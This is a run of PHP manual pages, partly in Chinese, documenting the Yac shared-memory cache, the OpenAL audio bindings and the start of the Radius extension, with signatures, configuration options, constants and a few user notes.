    • Yac::add — Store into cache
    • Yac::__construct — Constructor
    • Yac::delete — Remove items from cache
    • Yac::dump — Dump cache
    • Yac::flush — Flush the cache
    • Yac::get — Retrieve values from cache
    • Yac::__get — Getter
    • Yac::info — Status of cache
    • Yac::set — Store into cache
    • Yac::__set — Setter

User Contributed Notes

Anonymous 07-May-2022 08:23
Notice： yac is not enabled when use cli mode


简介

Yac (Yet Another cache), is a lock-free, shared memory user data cache, could be used to replace APC, local memcache.

User Contributed Notes

There are no user contributed notes for this page.


需求

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/yac.

此扩展在 Windows 平台的二进制扩展 (DLL 文件) PECL 可以在 PECL 官方网站上下载。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Yac 配置选项
名字 | 默认 | 可修改范围 | 更新日志
yac.compress_threshold | -1 | PHP_INI_SYSTEM |
yac.debug | 0 | PHP_INI_ALL |
yac.enable | 1 | PHP_INI_SYSTEM |
yac.enable_cli | 0 | PHP_INI_SYSTEM |
yac.keys_memory_size | 4M | PHP_INI_SYSTEM |
yac.serializer | php | PHP_INI_SYSTEM |
yac.values_memory_size | 64M | PHP_INI_SYSTEM |

这是配置指令的简短说明。

yac.compress_threshold int

yac.debug int

yac.enable int

yac.enable_cli int

yac.keys_memory_size string

yac.serializer string

yac.values_memory_size string

User Contributed Notes

There are no user contributed notes for this page.


资源类型

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

YAC_VERSION (string)
YAC_MAX_KEY_LEN (int)
Max length of a key could be, it is 48 bytes.
YAC_MAX_VALUE_RAW_LEN (int)
YAC_MAX_RAW_COMPRESSED_LEN (int)
YAC_SERIALIZER_PHP (int)
Use php serialize as serializer
YAC_SERIALIZER_JSON (int)
Use json as serializer(requrie --enable-json)
YAC_SERIALIZER_IGBINARY (int)
Use igbinary as serializer(require --enable-igbinary)
YAC_SERIALIZER_MSGPACK (int)
Use msgpack as serializer(require --enable-msgpack)
YAC_SERIALIZER (string)
Which serialzier is yac used

User Contributed Notes

There are no user contributed notes for this page.


The Yac class

(PECL yac >= 1.0.0)

简介

类摘要

class Yac {
/* 属性 */
protected $_prefix;
/* 方法 */
public __construct(string $prefix = "")
public add(string $keys, mixed $value, int $ttl = 0): bool
public add(array $key_vals): bool
public delete(string|array $keys, int $ttl = ?): bool
public dump(int $$num): mixed
public flush(): bool
public get(string|array $key, int &$cas = null): mixed
public __get(string $key): mixed
public info(): array
public set(string $keys, mixed $value, int $ttl = 0): bool
public add(array $key_vals): bool
public __set(string $keys, mixed $value): mixed
}

属性

_prefix

Table of Contents

  • Yac::add — Store into cache
  • Yac::__construct — Constructor
  • Yac::delete — Remove items from cache
  • Yac::dump — Dump cache
  • Yac::flush — Flush the cache
  • Yac::get — Retrieve values from cache
  • Yac::__get — Getter
  • Yac::info — Status of cache
  • Yac::set — Store into cache
  • Yac::__set — Setter

User Contributed Notes

There are no user contributed notes for this page.


Store into cache

  • ? Yac
  • Yac::__construct ?
  • PHP Manual
  • Yac
  • Store into cache

Yac::add

(PECL yac >= 1.0.0)

Yac::add — Store into cache

说明

public Yac::add(string $keys, mixed $value, int $ttl = 0): bool
public Yac::add(array $key_vals): bool

Added a item into cache.

参数

keys

string key

value

mixed value, All php value type could be stored except resource

ttl

expire time

返回值

bool, true on success, false on failure

Note:

Yac::add() may fail if cas lock could not obtain, so, if you need the value to be stored properly, you may write codes like:

Example #1 Make sure the item is stored

while(!$yac->set("key", "vale));

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • ? Yac::add
  • Yac::delete ?
  • PHP Manual
  • Yac
  • Constructor

Yac::__construct

(PECL yac >= 1.0.0)

Yac::__construct — Constructor

说明

public Yac::__construct(string $prefix = "")

prefix is used to prepended to keys, this could be used to avoiding conflicts between apps.

参数

prefix

string prefix

错误／异常

Throws an Exception if Yac is not enabled. Throws Exception if prefix exceeds max key length of 48 (YAC_MAX_KEY_LEN) bytes.

User Contributed Notes

There are no user contributed notes for this page.


Remove items from cache

  • ? Yac::__construct
  • Yac::dump ?
  • PHP Manual
  • Yac
  • Remove items from cache

Yac::delete

(PECL yac >= 1.0.0)

Yac::delete — Remove items from cache

说明

public Yac::delete(string|array $keys, int $ttl = ?): bool

remove items from cache

参数

keys

string key, or array of multiple keys to be removed

ttl

if delay is set, delete will mark the items to be invalid in ttl second.

返回值

User Contributed Notes

There are no user contributed notes for this page.


Dump cache

  • ? Yac::delete
  • Yac::flush ?
  • PHP Manual
  • Yac
  • Dump cache

Yac::dump

(PECL yac >= 1.0.0)

Yac::dump — Dump cache

说明

public Yac::dump(int $$num): mixed

Dump values stored in cache

参数

num

Maximum number of items should be returned

返回值

mixed

User Contributed Notes

There are no user contributed notes for this page.


Flush the cache

  • ? Yac::dump
  • Yac::get ?
  • PHP Manual
  • Yac
  • Flush the cache

Yac::flush

(PECL yac >= 1.0.0)

Yac::flush — Flush the cache

说明

public Yac::flush(): bool

Remove all cached values

参数

此函数没有参数。

返回值

bool, always true

User Contributed Notes

There are no user contributed notes for this page.


Retrieve values from cache

  • ? Yac::flush
  • Yac::__get ?
  • PHP Manual
  • Yac
  • Retrieve values from cache

Yac::get

(PECL yac >= 1.0.0)

Yac::get — Retrieve values from cache

说明

public Yac::get(string|array $key, int &$cas = null): mixed

Retrieve values from cache

参数

key

string keys, or array of multiple keys.

cas

if not null, it will be set to the retrieved item's cas.

返回值

mixed on success, false on failure

User Contributed Notes

There are no user contributed notes for this page.


Getter

  • ? Yac::get
  • Yac::info ?
  • PHP Manual
  • Yac
  • Getter

Yac::__get

(PECL yac >= 1.0.0)

Yac::__get — Getter

说明

public Yac::__get(string $key): mixed

Retrieve values from cache

参数

key

string key

返回值

mixed on success, null on failure

User Contributed Notes

There are no user contributed notes for this page.


Status of cache

  • ? Yac::__get
  • Yac::set ?
  • PHP Manual
  • Yac
  • Status of cache

Yac::info

(PECL yac >= 1.0.0)

Yac::info — Status of cache

说明

public Yac::info(): array

Get status of cache system

参数

此函数没有参数。

返回值

Return an array, consistent with: "memory_size", "slots_memory_size", "values_memory_size", "segment_size", "segment_num", "miss", "hits", "fails", "kicks", "recycles", "slots_size", "slots_used"

User Contributed Notes

There are no user contributed notes for this page.


Store into cache

  • ? Yac::info
  • Yac::__set ?
  • PHP Manual
  • Yac
  • Store into cache

Yac::set

(PECL yac >= 1.0.0)

Yac::set — Store into cache

说明

public Yac::set(string $keys, mixed $value, int $ttl = 0): bool
public Yac::add(array $key_vals): bool

Add a item into cache, it the key is already exists, override it.

参数

keys

string key

value

mixed value, All php value type could be stored except resource

ttl

expire time

返回值

the value self

User Contributed Notes

There are no user contributed notes for this page.


Setter

  • ? Yac::set
  • 音频格式操作 ?
  • PHP Manual
  • Yac
  • Setter

Yac::__set

(PECL yac >= 1.0.0)

Yac::__set — Setter

说明

public Yac::__set(string $keys, mixed $value): mixed

store a item into cache

参数

keys

string key

value

mixed value, All php value type could be stored except resource

返回值

Always return the value self

User Contributed Notes

There are no user contributed notes for this page.


音频格式操作

  • OpenAL — OpenAL Audio Bindings
    • 简介
    • 安装/配置
    • 预定义常量
    • OpenAL 函数

User Contributed Notes

There are no user contributed notes for this page.


OpenAL Audio Bindings

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • OpenAL 函数
    • openal_buffer_create — Generate OpenAL buffer
    • openal_buffer_data — Load a buffer with data
    • openal_buffer_destroy — Destroys an OpenAL buffer
    • openal_buffer_get — Retrieve an OpenAL buffer property
    • openal_buffer_loadwav — Load a .wav file into a buffer
    • openal_context_create — Create an audio processing context
    • openal_context_current — Make the specified context current
    • openal_context_destroy — Destroys a context
    • openal_context_process — Process the specified context
    • openal_context_suspend — Suspend the specified context
    • openal_device_close — Close an OpenAL device
    • openal_device_open — Initialize the OpenAL audio layer
    • openal_listener_get — Retrieve a listener property
    • openal_listener_set — Set a listener property
    • openal_source_create — Generate a source resource
    • openal_source_destroy — Destroy a source resource
    • openal_source_get — Retrieve an OpenAL source property
    • openal_source_pause — Pause the source
    • openal_source_play — Start playing the source
    • openal_source_rewind — Rewind the source
    • openal_source_set — Set source property
    • openal_source_stop — Stop playing the source
    • openal_stream — Begin streaming on a source

User Contributed Notes

There are no user contributed notes for this page.


简介

Platform independent audio bindings. Requires the » OpenAL library.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/openal.

PECL 扩展的 DLL 当前不可用。参见 在 Windows 上构建章节。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

此扩展没有在 php.ini 中定义配置指令。

User Contributed Notes

There are no user contributed notes for this page.


资源类型

This extension defines four resource types:
Open AL(Device) - Returned by openal_device_open(),
Open AL(Context) - Returned by openal_context_create(),
Open AL(Buffer) - Returned by openal_buffer_create(),
and Open AL(Source) - Returned by openal_source_create().

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

ALC_FREQUENCY (int)
Context Attribute
ALC_REFRESH (int)
Context Attribute
ALC_SYNC (int)
Context Attribute
AL_FREQUENCY (int)
Buffer Setting
AL_BITS (int)
Buffer Setting
AL_CHANNELS (int)
Buffer Setting
AL_SIZE (int)
Buffer Setting
AL_BUFFER (int)
Source/Listener Setting (Integer)
AL_SOURCE_RELATIVE (int)
Source/Listener Setting (Integer)
AL_SOURCE_STATE (int)
Source/Listener Setting (Integer)
AL_PITCH (int)
Source/Listener Setting (Float)
AL_GAIN (int)
Source/Listener Setting (Float)
AL_MIN_GAIN (int)
Source/Listener Setting (Float)
AL_MAX_GAIN (int)
Source/Listener Setting (Float)
AL_MAX_DISTANCE (int)
Source/Listener Setting (Float)
AL_ROLLOFF_FACTOR (int)
Source/Listener Setting (Float)
AL_CONE_OUTER_GAIN (int)
Source/Listener Setting (Float)
AL_CONE_INNER_ANGLE (int)
Source/Listener Setting (Float)
AL_CONE_OUTER_ANGLE (int)
Source/Listener Setting (Float)
AL_REFERENCE_DISTANCE (int)
Source/Listener Setting (Float)
AL_POSITION (int)
Source/Listener Setting (Float Vector)
AL_VELOCITY (int)
Source/Listener Setting (Float Vector)
AL_DIRECTION (int)
Source/Listener Setting (Float Vector)
AL_ORIENTATION (int)
Source/Listener Setting (Float Vector)
AL_FORMAT_MONO8 (int)
PCM Format
AL_FORMAT_MONO16 (int)
PCM Format
AL_FORMAT_STEREO8 (int)
PCM Format
AL_FORMAT_STEREO16 (int)
PCM Format
AL_INITIAL (int)
Source State
AL_PLAYING (int)
Source State
AL_PAUSED (int)
Source State
AL_STOPPED (int)
Source State
AL_LOOPING (int)
Source State
AL_TRUE (int)
Boolean value recognized by OpenAL
AL_FALSE (int)
Boolean value recognized by OpenAL

User Contributed Notes

There are no user contributed notes for this page.


OpenAL 函数

Table of Contents

  • openal_buffer_create — Generate OpenAL buffer
  • openal_buffer_data — Load a buffer with data
  • openal_buffer_destroy — Destroys an OpenAL buffer
  • openal_buffer_get — Retrieve an OpenAL buffer property
  • openal_buffer_loadwav — Load a .wav file into a buffer
  • openal_context_create — Create an audio processing context
  • openal_context_current — Make the specified context current
  • openal_context_destroy — Destroys a context
  • openal_context_process — Process the specified context
  • openal_context_suspend — Suspend the specified context
  • openal_device_close — Close an OpenAL device
  • openal_device_open — Initialize the OpenAL audio layer
  • openal_listener_get — Retrieve a listener property
  • openal_listener_set — Set a listener property
  • openal_source_create — Generate a source resource
  • openal_source_destroy — Destroy a source resource
  • openal_source_get — Retrieve an OpenAL source property
  • openal_source_pause — Pause the source
  • openal_source_play — Start playing the source
  • openal_source_rewind — Rewind the source
  • openal_source_set — Set source property
  • openal_source_stop — Stop playing the source
  • openal_stream — Begin streaming on a source

User Contributed Notes

Tjeerd 02-Feb-2007 08:37
OpenAL aims to provide a standardized API for something called '3D' sound, just like OpenGL does for '3D' video rendering.

The fun part of OpenAL is that it does all the DSP for you, so you don't need to know a lot about audio. Since OpenAL comes from Creative Labs, it supports hardware rendering of audio with most if not all SoundBlaster audio controllers. They come with chips from EMU-systems and are specifically designed to mix down multichannel audio with DSP effects like reverb and chorus, which could consume a lot CPU speed.

The downside of OpenAL is that (at this time of writing) it is focus on games only. It doesn't do MIDI at all, it doesn't record anything, it doesn't work like a synthesizer. The only thing you can do with OpenAL is play sounds in a simulated 3D environment.
It probably doesn't work on the web.

To use OpenAL you need to read the documentation about OpenAL.

Note concerning audio users: there's no such thing as '3D' audio with speakers. Technically, when people have only two ears, they really can't distinguish sound from above or below, even in front or from behind. To achieve this people merely hear volume, the brightness of sound and the phase difference. One should be able to hear more '3D' sound with only two quality-class speakers than with a consumer class 5.1-set.
cweiske at cweiske dot de 06-Sep-2006 01:31
I made a PHP-Gtk2 OpenAL demo which allows you to define as many sound sources as you like and position them relative to the listener by drag and drop: http://gnope.org/p/Tools_OpenALdemo


Generate OpenAL buffer

  • ? OpenAL 函数
  • openal_buffer_data ?
  • PHP Manual
  • OpenAL 函数
  • Generate OpenAL buffer

openal_buffer_create

(PECL openal >= 0.1.0)

openal_buffer_create — Generate OpenAL buffer

说明

openal_buffer_create(): resource

参数

此函数没有参数。

返回值

Returns an Open AL(Buffer) resource on success or false on failure.

参见

  • openal_buffer_loadwav() - Load a .wav file into a buffer
  • openal_buffer_data() - Load a buffer with data

User Contributed Notes

There are no user contributed notes for this page.


Load a buffer with data

  • ? openal_buffer_create
  • openal_buffer_destroy ?
  • PHP Manual
  • OpenAL 函数
  • Load a buffer with data

openal_buffer_data

(PECL openal >= 0.1.0)

openal_buffer_data — Load a buffer with data

说明

openal_buffer_data(
resource $buffer,
int $format,
string $data,
int $freq
): bool

参数

buffer

An Open AL(Buffer) resource (previously created by openal_buffer_create()).

format

Format of data, one of: AL_FORMAT_MONO8, AL_FORMAT_MONO16, AL_FORMAT_STEREO8 和 AL_FORMAT_STEREO16

data

Block of binary audio data in the format and freq specified.

freq

Frequency of data given in Hz.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • openal_buffer_loadwav() - Load a .wav file into a buffer
  • openal_stream() - Begin streaming on a source

User Contributed Notes

There are no user contributed notes for this page.


Destroys an OpenAL buffer

  • ? openal_buffer_data
  • openal_buffer_get ?
  • PHP Manual
  • OpenAL 函数
  • Destroys an OpenAL buffer

openal_buffer_destroy

(PECL openal >= 0.1.0)

openal_buffer_destroy — Destroys an OpenAL buffer

说明

openal_buffer_destroy(resource $buffer): bool

参数

buffer

An Open AL(Buffer) resource (previously created by openal_buffer_create()).

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • openal_buffer_create() - Generate OpenAL buffer

User Contributed Notes

There are no user contributed notes for this page.


Retrieve an OpenAL buffer property

  • ? openal_buffer_destroy
  • openal_buffer_loadwav ?
  • PHP Manual
  • OpenAL 函数
  • Retrieve an OpenAL buffer property

openal_buffer_get

(PECL openal >= 0.1.0)

openal_buffer_get — Retrieve an OpenAL buffer property

说明

openal_buffer_get(resource $buffer, int $property): int|false

参数

buffer

An Open AL(Buffer) resource (previously created by openal_buffer_create()).

property

Specific property, one of: AL_FREQUENCY, AL_BITS, AL_CHANNELS 和 AL_SIZE.

返回值

Returns an integer value appropriate to the property requested 或者在失败时返回 false.

参见

  • openal_buffer_create() - Generate OpenAL buffer

User Contributed Notes

There are no user contributed notes for this page.


Load a .wav file into a buffer

  • ? openal_buffer_get
  • openal_context_create ?
  • PHP Manual
  • OpenAL 函数
  • Load a .wav file into a buffer

openal_buffer_loadwav

(PECL openal >= 0.1.0)

openal_buffer_loadwav — Load a .wav file into a buffer

说明

openal_buffer_loadwav(resource $buffer, string $wavfile): bool

参数

buffer

An Open AL(Buffer) resource (previously created by openal_buffer_create()).

wavfile

Path to .wav file on local file system.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • openal_buffer_data() - Load a buffer with data
  • openal_stream() - Begin streaming on a source

User Contributed Notes

There are no user contributed notes for this page.


Create an audio processing context

  • ? openal_buffer_loadwav
  • openal_context_current ?
  • PHP Manual
  • OpenAL 函数
  • Create an audio processing context

openal_context_create

(PECL openal >= 0.1.0)

openal_context_create — Create an audio processing context

说明

openal_context_create(resource $device): resource

参数

device

An Open AL(Device) resource (previously created by openal_device_open()).

返回值

Returns an Open AL(Context) resource on success or false on failure.

参见

  • openal_device_open() - Initialize the OpenAL audio layer
  • openal_context_destroy() - Destroys a context

User Contributed Notes

There are no user contributed notes for this page.


Make the specified context current

  • ? openal_context_create
  • openal_context_destroy ?
  • PHP Manual
  • OpenAL 函数
  • Make the specified context current

openal_context_current

(PECL openal >= 0.1.0)

openal_context_current — Make the specified context current

说明

openal_context_current(resource $context): bool

参数

context

An Open AL(Context) resource (previously created by openal_context_create()).

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • openal_context_create() - Create an audio processing context

User Contributed Notes

There are no user contributed notes for this page.


Destroys a context

  • ? openal_context_current
  • openal_context_process ?
  • PHP Manual
  • OpenAL 函数
  • Destroys a context

openal_context_destroy

(PECL openal >= 0.1.0)

openal_context_destroy — Destroys a context

说明

openal_context_destroy(resource $context): bool

参数

context

An Open AL(Context) resource (previously created by openal_context_create()).

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • openal_context_create() - Create an audio processing context

User Contributed Notes

There are no user contributed notes for this page.


Process the specified context

  • ? openal_context_destroy
  • openal_context_suspend ?
  • PHP Manual
  • OpenAL 函数
  • Process the specified context

openal_context_process

(PECL openal >= 0.1.0)

openal_context_process — Process the specified context

说明

openal_context_process(resource $context): bool

参数

context

An Open AL(Context) resource (previously created by openal_context_create()).

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • openal_context_create() - Create an audio processing context
  • openal_context_current() - Make the specified context current
  • openal_context_suspend() - Suspend the specified context

User Contributed Notes

There are no user contributed notes for this page.


Suspend the specified context

  • ? openal_context_process
  • openal_device_close ?
  • PHP Manual
  • OpenAL 函数
  • Suspend the specified context

openal_context_suspend

(PECL openal >= 0.1.0)

openal_context_suspend — Suspend the specified context

说明

openal_context_suspend(resource $context): bool

参数

context

An Open AL(Context) resource (previously created by openal_context_create()).

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • openal_context_create() - Create an audio processing context
  • openal_context_current() - Make the specified context current
  • openal_context_process() - Process the specified context

User Contributed Notes

There are no user contributed notes for this page.


Close an OpenAL device

  • ? openal_context_suspend
  • openal_device_open ?
  • PHP Manual
  • OpenAL 函数
  • Close an OpenAL device

openal_device_close

(PECL openal >= 0.1.0)

openal_device_close — Close an OpenAL device

说明

openal_device_close(resource $device): bool

参数

device

An Open AL(Device) resource (previously created by openal_device_open()) to be closed.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • openal_device_open() - Initialize the OpenAL audio layer

User Contributed Notes

There are no user contributed notes for this page.


Initialize the OpenAL audio layer

  • ? openal_device_close
  • openal_listener_get ?
  • PHP Manual
  • OpenAL 函数
  • Initialize the OpenAL audio layer

openal_device_open

(PECL openal >= 0.1.0)

openal_device_open — Initialize the OpenAL audio layer

说明

openal_device_open(string $device_desc = ?): resource

参数

device_desc

Open an audio device optionally specified by device_desc. If device_desc is not specified the first available audio device will be used.

返回值

Returns an Open AL(Device) resource on success or false on failure.

参见

  • openal_device_close() - Close an OpenAL device
  • openal_context_create() - Create an audio processing context

User Contributed Notes

There are no user contributed notes for this page.


Retrieve a listener property

  • ? openal_device_open
  • openal_listener_set ?
  • PHP Manual
  • OpenAL 函数
  • Retrieve a listener property

openal_listener_get

(PECL openal >= 0.1.0)

openal_listener_get — Retrieve a listener property

说明

openal_listener_get(int $property): mixed

参数

property

Property to retrieve, one of:
AL_GAIN (float),
AL_POSITION (array(float,float,float)),
AL_VELOCITY (array(float,float,float)) 和
AL_ORIENTATION (array(float,float,float)).

返回值

Returns a float or array of floats (as appropriate) 或者在失败时返回 false.

参见

  • openal_listener_set() - Set a listener property

User Contributed Notes

There are no user contributed notes for this page.


Set a listener property

  • ? openal_listener_get
  • openal_source_create ?
  • PHP Manual
  • OpenAL 函数
  • Set a listener property

openal_listener_set

(PECL openal >= 0.1.0)

openal_listener_set — Set a listener property

说明

openal_listener_set(int $property, mixed $setting): bool

参数

property

Property to set, one of:
AL_GAIN (float),
AL_POSITION (array(float,float,float)),
AL_VELOCITY (array(float,float,float)) 和
AL_ORIENTATION (array(float,float,float)).

setting

Value to set, either float, or an array of floats as appropriate.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • openal_listener_get() - Retrieve a listener property

User Contributed Notes

There are no user contributed notes for this page.


Generate a source resource

  • ? openal_listener_set
  • openal_source_destroy ?
  • PHP Manual
  • OpenAL 函数
  • Generate a source resource

openal_source_create

(PECL openal >= 0.1.0)

openal_source_create — Generate a source resource

说明

openal_source_create(): resource

参数

此函数没有参数。

返回值

Returns an Open AL(Source) resource on success or false on failure.

参见

  • openal_source_set() - Set source property
  • openal_source_play() - Start playing the source
  • openal_source_destroy() - Destroy a source resource

User Contributed Notes

There are no user contributed notes for this page.


Destroy a source resource

  • ? openal_source_create
  • openal_source_get ?
  • PHP Manual
  • OpenAL 函数
  • Destroy a source resource

openal_source_destroy

(PECL openal >= 0.1.0)

openal_source_destroy — Destroy a source resource

说明

openal_source_destroy(resource $source): bool

参数

source

An Open AL(Source) resource (previously created by openal_source_create()).

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • openal_source_create() - Generate a source resource

User Contributed Notes

There are no user contributed notes for this page.


Retrieve an OpenAL source property

  • ? openal_source_destroy
  • openal_source_pause ?
  • PHP Manual
  • OpenAL 函数
  • Retrieve an OpenAL source property

openal_source_get

(PECL openal >= 0.1.0)

openal_source_get — Retrieve an OpenAL source property

说明

openal_source_get(resource $source, int $property): mixed

参数

source

An Open AL(Source) resource (previously created by openal_source_create()).

property

Property to get, one of: AL_SOURCE_RELATIVE (int), AL_SOURCE_STATE (int), AL_PITCH (float), AL_GAIN (float), AL_MIN_GAIN (float), AL_MAX_GAIN (float), AL_MAX_DISTANCE (float), AL_ROLLOFF_FACTOR (float), AL_CONE_OUTER_GAIN (float), AL_CONE_INNER_ANGLE (float), AL_CONE_OUTER_ANGLE (float), AL_REFERENCE_DISTANCE (float), AL_POSITION (array(float,float,float)), AL_VELOCITY (array(float,float,float)), AL_DIRECTION (array(float,float,float)).

返回值

Returns the type associated with the property being retrieved 或者在失败时返回 false.

参见

  • openal_source_create() - Generate a source resource
  • openal_source_set() - Set source property
  • openal_source_play() - Start playing the source

User Contributed Notes

There are no user contributed notes for this page.


Pause the source

  • ? openal_source_get
  • openal_source_play ?
  • PHP Manual
  • OpenAL 函数
  • Pause the source

openal_source_pause

(PECL openal >= 0.1.0)

openal_source_pause — Pause the source

说明

openal_source_pause(resource $source): bool

参数

source

An Open AL(Source) resource (previously created by openal_source_create()).

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • openal_source_stop() - Stop playing the source
  • openal_source_play() - Start playing the source
  • openal_source_rewind() - Rewind the source

User Contributed Notes

There are no user contributed notes for this page.


Start playing the source

  • ? openal_source_pause
  • openal_source_rewind ?
  • PHP Manual
  • OpenAL 函数
  • Start playing the source

openal_source_play

(PECL openal >= 0.1.0)

openal_source_play — Start playing the source

说明

openal_source_play(resource $source): bool

参数

source

An Open AL(Source) resource (previously created by openal_source_create()).

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • openal_source_stop() - Stop playing the source
  • openal_source_pause() - Pause the source
  • openal_source_rewind() - Rewind the source

User Contributed Notes

There are no user contributed notes for this page.


Rewind the source

  • ? openal_source_play
  • openal_source_set ?
  • PHP Manual
  • OpenAL 函数
  • Rewind the source

openal_source_rewind

(PECL openal >= 0.1.0)

openal_source_rewind — Rewind the source

说明

openal_source_rewind(resource $source): bool

参数

source

An Open AL(Source) resource (previously created by openal_source_create()).

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • openal_source_stop() - Stop playing the source
  • openal_source_pause() - Pause the source
  • openal_source_play() - Start playing the source

User Contributed Notes

There are no user contributed notes for this page.


Set source property

  • ? openal_source_rewind
  • openal_source_stop ?
  • PHP Manual
  • OpenAL 函数
  • Set source property

openal_source_set

(PECL openal >= 0.1.0)

openal_source_set — Set source property

说明

openal_source_set(resource $source, int $property, mixed $setting): bool

参数

source

An Open AL(Source) resource (previously created by openal_source_create()).

property

Property to set, one of: AL_BUFFER (OpenAL(Source)), AL_LOOPING (bool), AL_SOURCE_RELATIVE (int), AL_SOURCE_STATE (int), AL_PITCH (float), AL_GAIN (float), AL_MIN_GAIN (float), AL_MAX_GAIN (float), AL_MAX_DISTANCE (float), AL_ROLLOFF_FACTOR (float), AL_CONE_OUTER_GAIN (float), AL_CONE_INNER_ANGLE (float), AL_CONE_OUTER_ANGLE (float), AL_REFERENCE_DISTANCE (float), AL_POSITION (array(float,float,float)), AL_VELOCITY (array(float,float,float)), AL_DIRECTION (array(float,float,float)).

setting

Value to assign to specified property. Refer to the description of property for a description of the value(s) expected.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • openal_source_create() - Generate a source resource
  • openal_source_get() - Retrieve an OpenAL source property
  • openal_source_play() - Start playing the source

User Contributed Notes

There are no user contributed notes for this page.


Stop playing the source

  • ? openal_source_set
  • openal_stream ?
  • PHP Manual
  • OpenAL 函数
  • Stop playing the source

openal_source_stop

(PECL openal >= 0.1.0)

openal_source_stop — Stop playing the source

说明

openal_source_stop(resource $source): bool

参数

source

An Open AL(Source) resource (previously created by openal_source_create()).

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • openal_source_play() - Start playing the source
  • openal_source_pause() - Pause the source
  • openal_source_rewind() - Rewind the source

User Contributed Notes

There are no user contributed notes for this page.


Begin streaming on a source

  • ? openal_source_stop
  • 身份认证服务 ?
  • PHP Manual
  • OpenAL 函数
  • Begin streaming on a source

openal_stream

(PECL openal >= 0.1.0)

openal_stream — Begin streaming on a source

说明

openal_stream(resource $source, int $format, int $rate): resource|false

参数

source

An Open AL(Source) resource (previously created by openal_source_create()).

format

Format of data, one of: AL_FORMAT_MONO8, AL_FORMAT_MONO16, AL_FORMAT_STEREO8 和 AL_FORMAT_STEREO16

rate

Frequency of data to stream given in Hz.

返回值

Returns a stream resource on success 或者在失败时返回 false.

参见

  • openal_source_create() - Generate a source resource
  • fwrite() - 写入文件（可安全用于二进制文件）

User Contributed Notes

There are no user contributed notes for this page.


身份认证服务

  • Radius
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Radius 函数

User Contributed Notes

There are no user contributed notes for this page.


Radius

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
    • RADIUS Options
    • RADIUS Packet Types
    • RADIUS Attribute Types
    • RADIUS Vendor Specific Attribute Types
  • 示例
  • Radius 函数
    • radius_acct_open — Creates a Radius handle for accounting
    • radius_add_server — Adds a server
    • radius_auth_open — Creates a Radius handle for authentication
    • radius_close — Frees all ressources
    • radius_config — Causes the library to read the given configuration file
    • radius_create_request — Create accounting or authentication request
    • radius_cvt_addr — Converts raw data to IP-Address
    • radius_cvt_int — Converts raw data to integer
    • radius_cvt_string — Converts raw data to string
    • radius_demangle_mppe_key — Derives mppe-keys from mangled data
    • radius_demangle — Demangles data
    • radius_get_attr — Extracts an attribute
    • radius_get_tagged_attr_data — Extracts the data from a tagged attribute
    • radius_get_tagged_attr_tag — Extracts the tag from a tagged attribute
    • radius_get_vendor_attr — Extracts a vendor specific attribute
    • radius_put_addr — Attaches an IP address attribute
    • radius_put_attr — Attaches a binary attribute
    • radius_put_int — Attaches an integer attribute
    • radius_put_string — Attaches a string attribute
    • radius_put_vendor_addr — Attaches a vendor specific IP address attribute
    • radius_put_vendor_attr — Attaches a vendor specific binary attribute
    • radius_put_vendor_int — Attaches a vendor specific integer attribute
    • radius_put_vendor_string — Attaches a vendor specific string attribute
    • radius_request_authenticator — Returns the request authenticator
    • radius_salt_encrypt_attr — Salt-encrypts a value
    • radius_send_request — Sends the request and waits for a reply
    • radius_server_secret — Returns the shared secret
    • radius_strerror — Returns an error message

User Contributed Notes

There are no user contributed notes for this page.


简介

This package is based on the libradius (Remote Authentication Dial In User Service) of FreeBSD. It allows clients to perform authentication and accounting by means of network requests to remote servers.

This PECL extension adds full support for Radius Authentication (» RFC 2865) and Radius Accounting (» RFC 2866). This package is available for Unix (tested on FreeBSD and Linux) and for Windows.

Note:

An exact description for libradius can be found » here. A detailed description of the configuration file can be found » here.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/radius.

PECL 扩展的 DLL 当前不可用。参见 在 Windows 上构建章节。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

Table of Contents

  • RADIUS Options
  • RADIUS Packet Types
  • RADIUS Attribute Types
  • RADIUS Vendor Specific Attribute Types

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

RADIUS_MPPE_KEY_LEN (int)
The maximum length of MPPE keys.

User Contributed Notes

There are no user contributed notes for this page.


RADIUS Options

